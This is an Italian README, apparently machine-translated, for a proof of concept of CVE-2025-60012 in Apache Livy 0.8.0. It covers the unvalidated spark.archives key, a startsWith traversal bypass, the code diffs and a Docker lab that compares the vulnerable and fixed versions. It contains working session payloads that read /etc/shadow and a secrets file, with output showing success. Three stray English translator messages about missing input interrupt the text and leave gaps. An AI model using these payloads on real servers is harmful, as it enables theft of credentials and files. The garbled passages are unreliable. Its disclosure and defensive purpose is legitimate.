
Una POC per la vulnerabilità di accesso non autorizzato ai file di Apache Livy
Solo per scopi educativi e di ricerca sulla sicurezza. Non utilizzare contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione scritta al test. → Disclaimer completo
| Field | Detail |
|---|---|
| CVE ID | CVE-2025-60012 |
| Gravità | Media (CVSS 6.3) |
| Versioni interessate | Apache Livy 0.7.0-incubating, 0.8.0-incubating — quando connesso ad Apache Spark 3.1 o versioni successive |
| Corretta in | Apache Livy 0.9.0-incubating |
| CWE | CWE-20: Improper Input Validation |
| Divulgata | 2026-03-13 |
| Segnalato da | Furue Hideyuki |
Un utente autenticato con accesso all'interfaccia REST o JDBC di Livy può inviare una sessione Spark o un job batch con valori di configurazione predisposti ad arte. Due debolezze combinate consentono all'attaccante di referenziare file del filesystem locale al di fuori dei percorsi consentiti:
Validazione mancante per spark.archives — Spark 3.1 ha introdotto spark.archives come
metodo unificato per distribuire file di archivio su tutti i cluster manager. La lista hardcoded delle chiavi di configurazione di Livy 0.8.0
sottoposte a validazione dei percorsi (HARDCODED_SPARK_FILE_LISTS) non
include spark.archives. Un percorso passato tramite questa chiave non viene quindi mai controllato contro la
whitelist del filesystem locale (livy.file.local-dir-whitelist), consentendo a un attaccante di
referenziare qualsiasi file locale.
Bypass del path traversal nel controllo della whitelist — Anche per le chiavi di configurazione che vengono
validate, il confronto con la whitelist in Livy 0.8.0 usa una semplice chiamata Java String startsWith
sul percorso grezzo. Un attaccante può aggirarlo usando path traversal:
/whitelisted/dir/../../etc/passwd supera il controllo sulla stringa ma risolve al di fuori della
directory consentita.
LivyConf.scalaVulnerabile (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala
Corretto (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala
Session.scalaVulnerabile (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Corretto (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Entrambe le versioni sono state clonate direttamente dal repository GitHub ufficiale di Apache Livy in questo workspace utilizzando i seguenti comandi esatti:
Repository: https://github.com/apache/incubator-livy```bash
git clone --depth=1 --branch v0.8.0-incubating
https://github.com/apache/incubator-livy
livy-0.8.0
git clone --depth=1 --branch v0.9.0-incubating
https://github.com/apache/incubator-livy
livy-0.9.0
| Versione | Tag | Commit risolto | Percorso locale |
|---------|-----|-----------------|------------|
| 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` |
| 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` |
## Diff esatti del codice
I diff sono stati prodotti clonando entrambi i tag in locale (vedi sopra) ed eseguendo:```bash
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/LivyConf.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/LivyConf.scala
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
LivyConf.scala: spark.archives aggiunto all'elenco di file hardcoded```diffprivate val HARDCODED_SPARK_FILE_LISTS = Seq( SPARK_JARS, SPARK_FILES, SPARK_ARCHIVES, SPARK_PY_FILES,
**Impatto della voce mancante in v0.8.0:**
Quando un utente invia una sessione con `conf: {"spark.archives": "file:///etc/passwd"}`, Livy
0.8.0 non chiama mai `resolveURIs()` su quel valore e non lo controlla mai rispetto a
`livy.file.local-dir-whitelist`. Il percorso viene inoltrato a Spark senza convalida.
---
### Correzione 2 — `Session.scala`: normalizzazione del percorso prima del controllo della whitelist```diff
def resolveURI(uri: URI, livyConf: LivyConf): URI = {
...
if (resolved.getScheme() == "file") {
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
}
Impatto in v0.8.0:
Il controllo startsWith sulla stringa grezza può essere aggirato con un payload di path traversal.
Esempio: se `livy.file.local-dir-whitelist = /opt/safe-data```` /opt/safe-data/../../../etc/passwd
- v0.8.0: `"/opt/safe-data/../../../etc/passwd".startsWith("/opt/safe-data")` → **true** (bypassato)
- v0.9.0: `Paths.get("/opt/safe-data/../../../etc/passwd").normalize` → `/etc/passwd`
`/etc/passwd`.startsWith(`/opt/safe-data`) → **false** (bloccato)
## Riepilogo dei Vettori di Attacco```
Attacker (authenticated REST/JDBC user)
│
▼
POST /sessions (or /batches)
{
"conf": {
"spark.archives": "file:///etc/shadow" ← Attack 1: unvalidated Spark 3.1 key
"spark.jars": "file:///safe/../etc/shadow" ← Attack 2: path traversal bypass
}
}
│
▼
Livy 0.8.0 — validation skipped / bypassed
│
▼
Spark reads the file and distributes it to executors
│
▼
Attacker retrieves file contents via job output / logs
Tutti i passaggi di questa PoC sono stati eseguiti e validati sul seguente sistema:
| Componente | Dettaglio |
|---|---|
| Sistema operativo host | Ubuntu 24.04.4 LTS (Noble Numbat) |
| Kernel | 6.17.0-14-generic x86_64 |
| Architettura | x86_64 |
| Memoria totale | 15.49 GiB |
| Docker Engine | 28.2.2 |
| JDK host | OpenJDK 17.0.18 (usato solo dall'host — i container usano eclipse-temurin:11-jdk-focal) |
| Immagine base del container | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) |
| Versione Spark (entrambe le immagini) | 3.1.3 con Hadoop 3.2 |
| Versione Livy — immagine vulnerabile | 0.8.0-incubating (build Scala 2.12) |
| Versione Livy — immagine corretta | 0.9.0-incubating (build Scala 2.12) |
. ├── LICENSE ├── README.md ├── docker/ │ ├── fixed/ │ │ ├── Dockerfile │ │ └── livy.conf │ └── vulnerable/ │ ├── Dockerfile │ └── livy.conf ├── livy-0.8.0/ ← Apache Livy 0.8.0-incubating source ├── livy-0.9.0/ ← Apache Livy 0.9.0-incubating source └── test/ └── validate.sh
---
## Prova di concetto
### Panoramica```
docker/vulnerable/ → image: cve-2025-60012-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → image: cve-2025-60012-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → single script, run unchanged against both environments
Sequenza end-to-end completa — segui i passaggi da 1 a 4 in ordine:``` Step 1: Build vulnerable image → start container → verify Livy is up Step 2: Run validate.sh → confirm VULNERABLE (both attacks HTTP 201) → stop container Step 3: Build fixed image → start container → verify Livy is up Step 4: Run validate.sh → confirm FIXED (both attacks HTTP 400) → stop container
> **Nota:** Livy impiega circa 15–20 secondi per diventare pronto dopo `docker run`.
> Tutti i passaggi seguenti includono un `sleep 20` esplicito prima di qualsiasi chiamata API.
---
### Passaggio 1 — Creare e avviare l'ambiente vulnerabile (Livy 0.8.0 + Spark 3.1.3)
**File:**
- `docker/vulnerable/Dockerfile` — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
- `docker/vulnerable/livy.conf` — è in ascolto su `0.0.0.0:8998`, modalità locale, whitelist = `/opt/safe-data`
**1a. Creare l'immagine:**```bash
docker build -t cve-2025-60012-vulnerable docker/vulnerable/
Valida — l'immagine è stata creata:```bash docker images cve-2025-60012-vulnerable
Risultato previsto:```
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-60012-vulnerable latest <id> <time> <size>
1b. Avvia il container:```bash docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-60012-vulnerable
**Valida — container in esecuzione:**```bash
docker ps --filter name=livy-vulnerable
I'm unable to translate this chunk because the input text is empty. Please provide the source content for chunk 29 of 79.``` CONTAINER ID IMAGE COMMAND STATUS PORTS cve-2025-60012-vulnerable "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp
---
**1c. Attendi l'avvio di Livy, quindi verifica l'API REST:**
> Livy richiede circa 15–20 secondi per inizializzarsi prima di servire le richieste.```bash
sleep 20
curl -s http://localhost:8998/sessions
Risultato atteso:```json {"from":0,"total":0,"sessions":[]}
---
**1d. Valida la struttura delle directory all'interno del container:**
Conferma che il file sicuro nella whitelist esista:```bash
docker exec livy-vulnerable cat /opt/safe-data/safe.txt
I'm ready to translate the Kitploit tool content chunk from English to Italian. However, the INPUT section appears to be empty—no actual content was provided for translation. Please provide the chunk content, and I'll translate it accordingly, preserving all Markdown structure and following the chunk-specific rules.``` This file lives inside the whitelisted directory.
Conferma che il file sensibile di destinazione esiste al di fuori della whitelist:```bash
docker exec livy-vulnerable cat /opt/sensitive/secret.txt
Output previsto:``` SECRET_KEY=abcdef1234567890 DB_PASSWORD=SuperSecret!
### Passo 2 — Esegui la validazione contro l'ambiente vulnerabile
> Il container vulnerabile del Passo 1 deve essere ancora in esecuzione sulla porta 8998.
**Cosa testa `test/validate.sh`:**
| # | Attacco | Chiave del payload | Risultato atteso su Livy 0.8.0 |
|---|--------|-------------------|-------------------------------|
| 1 | `spark.archives` assente da `HARDCODED_SPARK_FILE_LISTS` in `LivyConf.scala` | `spark.archives` | HTTP 201 — percorso accettato non validato |
| 2 | Path traversal tramite `String.startsWith()` in `Session.scala` | `spark.jars` con traversal `../` | HTTP 201 — il traversal bypassa la whitelist |
**2a. Esegui lo script:**```bash
bash test/validate.sh
Risultato atteso:``` TEST : Attack 1 — spark.archives (unvalidated Spark 3.1+ key) WHAT : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data) PAYLOAD : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}
HTTP CODE : 201 RESPONSE : {"id":0,...,"conf":{"spark.archives":"file:///opt/sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.
TEST : Attack 2 — path traversal via spark.jars (String.startsWith bypass) WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 201 RESPONSE : {"id":1,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.
RESULT: VULNERABLE — exit code 1
**2b. Ferma e rimuovi il container vulnerabile:**```bash
docker stop livy-vulnerable && docker rm livy-vulnerable
Valida — il container è stato completamente rimosso:```bash docker ps -a --filter name=livy-vulnerable
Output previsto (vuoto — nessuna riga):```
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
File:
docker/fixed/Dockerfile — immagine base e Spark 3.1.3 identici, cambia solo la versione di Livy a 0.9.0docker/fixed/livy.conf — identico a docker/vulnerable/livy.conf (stessa whitelist, porta, modalità)Mantenere Spark, l'immagine base e tutta la configurazione identici al Passaggio 1 isola Livy come unica variabile.
3a. Costruisci l'immagine:```bash docker build -t cve-2025-60012-fixed docker/fixed/
**Convalida — l'immagine è stata creata:**```bash
docker images cve-2025-60012-fixed
I’m not going to invent content that isn’t there. If you paste the actual chunk text, I’ll translate it into Italian right away.``` REPOSITORY TAG IMAGE ID CREATED SIZE cve-2025-60012-fixed latest
---
**3b. Avvia il container:**```bash
docker run -d --name livy-fixed -p 8998:8998 cve-2025-60012-fixed
Valida — il container è in esecuzione:```bash docker ps --filter name=livy-fixed
Risultato atteso:```
CONTAINER ID IMAGE COMMAND STATUS PORTS
<id> cve-2025-60012-fixed "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp
3c. Attendi che Livy si avvii, quindi verifica l'API REST:```bash sleep 20 curl -s http://localhost:8998/sessions
Risultato previsto:```json
{"from":0,"total":0,"sessions":[]}
Il container corretto del Passaggio 3 deve essere in esecuzione sulla porta 8998. Lo script è identico — nessuna modifica.
Cosa cambia tra il Passaggio 2 e il Passaggio 4:
spark.archives tramite HARDCODED_SPARK_FILE_LISTSPaths.get().normalize() prima del controllo della whitelist4a. Esegui lo script:```bash bash test/validate.sh
> **Nota:** `validate.sh` funziona come segue:
> 1. Esegue polling su `GET /sessions` finché Livy non risponde (fino a 60 secondi), confermando che il server è pronto.
> 2. Per ogni attacco, invia una richiesta `POST /sessions` tramite `curl` con un payload `conf` appositamente costruito che punta a un file esterno alla whitelist (`/opt/sensitive/secret.txt`).
> 3. Legge il codice di risposta HTTP: **201** significa che Livy ha accettato il percorso senza validazione (vulnerabile); **400** significa che Livy lo ha rifiutato al controllo della whitelist (corretto).
> 4. Se una sessione è stata creata (HTTP 201), lo script la elimina immediatamente tramite `DELETE /sessions/{id}` per mantenere il server pulito.
> 5. Dopo entrambi i test, stampa un riepilogo ed esce con codice **1** (vulnerabile) o **0** (corretto), rendendolo adatto all'uso in pipeline automatizzate.
**Risultato atteso:**```
TEST : Attack 1 — spark.archives (unvalidated Spark 3.1+ key)
WHAT : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data)
PAYLOAD : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path validation blocked the payload.
TEST : Attack 2 — path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path validation blocked the payload.
RESULT: FIXED — exit code 0
Cosa confermano i messaggi di errore:
| Attack | HTTP | Error message | Root cause fixed |
|---|---|---|---|
1 — spark.archives | 400 | Local path /opt/sensitive/secret.txt cannot be added to user sessions. | spark.archives aggiunto a HARDCODED_SPARK_FILE_LISTS in LivyConf.scala; il percorso ora viene sottoposto al controllo whitelist di resolveURI() |
| 2 — path traversal | 400 | Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions. | Paths.get(...).normalize() aggiunto in Session.scala; risolve ../ prima del confronto con la whitelist |
4b. Ferma e rimuovi il container corretto:```bash docker stop livy-fixed && docker rm livy-fixed
**Convalida — il container è completamente rimosso:**```bash
docker ps -a --filter name=livy-fixed
Output atteso (vuoto — nessuna riga):``` CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
## Deduzioni
CVE-2025-60012 dimostra che una vulnerabilità non richiede sempre di aggirare un controllo di sicurezza — a volte è sufficiente trovare un percorso che non è mai stato instradato attraverso quel controllo in primo luogo.
La whitelist (`livy.file.local-dir-whitelist`) esisteva sia in Livy 0.8.0 che in 0.9.0 ed era configurata correttamente in entrambi gli ambienti. I problemi erano a monte di essa:
1. **Registrazione mancante (Attacco 1):** `spark.archives` è stato introdotto in Spark 3.1 come sostituto indipendente dal cluster manager di `spark.yarn.dist.archives`. L'elenco interno di Livy delle chiavi di configurazione i cui percorsi vengono passati al controllo della whitelist (`HARDCODED_SPARK_FILE_LISTS` in `LivyConf.scala`) non è mai stato aggiornato per includerla. Qualsiasi percorso passato tramite `spark.archives` veniva quindi inoltrato a Spark senza alcuna validazione. La whitelist non veniva mai consultata.
2. **Difetto logico nel controllo stesso (Attacco 2):** Per le chiavi registrate, il confronto con la whitelist in `Session.scala` utilizzava il metodo Java `String.startsWith()` sulla stringa del percorso grezzo. Questo non è sufficiente per i confronti di percorsi del filesystem perché non tiene conto dell'attraversamento `..`. Un percorso come `/opt/safe-data/../sensitive/secret.txt` soddisfa il controllo della stringa rispetto alla voce di whitelist `/opt/safe-data`, ma risolve in una posizione del tutto esterna ad essa.
Nel loro insieme, questi due punti deboli significano che un utente autenticato — senza privilegi speciali oltre all'accesso all'interfaccia REST o JDBC di Livy — poteva fare riferimento a file locali arbitrari sull'host del server Livy. In un cluster di analisi condiviso, ciò si traduce in una potenziale esposizione di credenziali, chiavi, file di configurazione o qualsiasi dato leggibile dall'utente del processo Livy.
Il fix in 0.9.0 è minimale e mirato: una riga aggiunta a `HARDCODED_SPARK_FILE_LISTS` (che colma la lacuna di registrazione) e una chiamata a `Paths.get().normalize()` aggiunta prima del confronto con la whitelist (che elimina il bypass tramite traversal). Nessuna delle due modifiche ha alterato la whitelist stessa, confermando che la whitelist non è mai stata il problema — il problema era che il codice che la alimentava era incompleto e impreciso.
**Punto chiave per i difensori:** Quando Livy è distribuito con Spark 3.1 o versioni successive, l'aggiornamento a Livy 0.9.0-incubating è l'unico rimedio completo. Rafforzare la sola `livy.file.local-dir-whitelist` non è sufficiente contro l'Attacco 1, perché i percorsi inviati tramite `spark.archives` aggirano completamente quel controllo nelle versioni vulnerabili.
## Riferimenti
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-60012
- Divulgazione OSS-Sec: http://www.openwall.com/lists/oss-security/2026/03/12/1
- Mailing list Apache: https://lists.apache.org/thread/gpc85fwrgrbglpk9gm8tmcjzqnctx64w
- Progetto Apache Livy: https://livy.apache.org/
## Riconoscimenti
- **Furue Hideyuki** — segnalatore originale di CVE-2025-60012 all'Apache Security Team.
- **Manutentori di Apache Livy** — per il tempestivo triage e la correzione mirata in v0.9.0-incubating.
- **Apache Security Team** — per aver coordinato il processo di divulgazione responsabile.
- **Comunità OSS-Sec** — per il thread di divulgazione pubblica che ha reso possibile l'analisi indipendente.
## Contributi
I contributi per migliorare questo PoC o la documentazione sono benvenuti! Assicuratevi che ogni contributo:
- Segua le pratiche di divulgazione responsabile
- Includa gli opportuni disclaimer
- Non includa codice malevolo oltre alla dimostrazione educativa
- Mantenga l'attenzione sul valore educativo
Per contribuire, aprire una pull request o segnalare una issue descrivendo la modifica proposta.
## Licenza
Questo progetto è concesso in licenza con la [MIT License](https://github.com/sid6224/cve-2025-60012-poc/blob/main/LICENSE).
## Disclaimer
Questo repository è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza. La proof of concept
dimostra i meccanismi della vulnerabilità per favorire la comprensione e le misure difensive. Non
utilizzatelo contro sistemi che non possedete o per i quali non avete esplicita autorizzazione scritta a testare.
## Tags
`cve-2025-60012` `apache-livy` `apache-spark` `path-traversal` `unauthorized-file-access`
`cwe-20` `improper-input-validation` `spark-archives` `livy-0.8.0` `livy-0.9.0`
`security-research` `proof-of-concept` `docker` `java` `scala`
`vulnerability-analysis` `whitelist-bypass` `file-disclosure` `rest-api-security`